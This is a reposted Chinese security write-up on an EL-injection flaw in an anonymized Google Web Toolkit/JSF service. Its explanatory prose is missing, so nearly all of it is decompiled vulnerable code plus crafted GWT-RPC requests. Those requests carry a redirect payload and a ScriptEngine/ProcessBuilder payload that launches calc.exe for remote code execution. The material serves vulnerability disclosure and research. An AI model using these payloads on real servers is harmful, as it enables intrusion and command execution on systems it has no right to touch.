本文讲的是
我是如何在Google Web Toolkit环境中getshell的?,
导语
漏洞介绍
<servlet> <servlet-name>someService</servlet-name> <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>someService</servlet-name> <url-pattern>/someService.gwtsvc</url-pattern> </servlet-mapping>
public abstract interface SomeService extends RemoteService { public abstract void sendBeanName(String paramString); public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList); public abstract void createMibNodeGettingBean(); }
public void sendBeanName(String paramString) { if (paramString == null) { return; } HttpSession localHttpSession = super.getThreadLocalRequest().getSession(); if (localHttpSession != null) { localHttpSession.setAttribute("MibWidgetBeanName", paramString); } }
public Boolean setMibNodesInfo(List<MIBNodeModel> paramList) { List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList); if (localList != null) { MibNodesSelect localMibNodesSelect = getBeanByName();
private MibNodesSelect getBeanByName() { ... Object localObject1 = super.getThreadLocalRequest().getSession(); if (localObject1 != null) { localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName"); if (localObject2 != null) { localObject3 = null; try { localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}"); } finally { if ((localFacesContext != null) && (i != 0)) { localFacesContext.release(); } } return (MibNodesSelect)localObject3; } } return null; }
<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
1. setResponseCharacterEncoding 2. redirect
facesContext.getExternalContext().redirect("http://srcincite.io/");
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 195 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036 Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 171 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure Pragma: no-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Location: http://srcincite.io/ Content-Type: text/html;charset=UTF-8 Content-Length: 45 Date: Wed, 03 May 2017 18:58:36 GMT Connection: close //OK[0,1,["java.lang.Boolean/476441737"],0,6]
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe","/c","calc.exe"]).start();")
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 366 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe","/c","calc.exe"]).start();")|1|2|3|4|1|5|6|
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036 Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 171 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
结论
原文发布时间为:2017年5月24日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。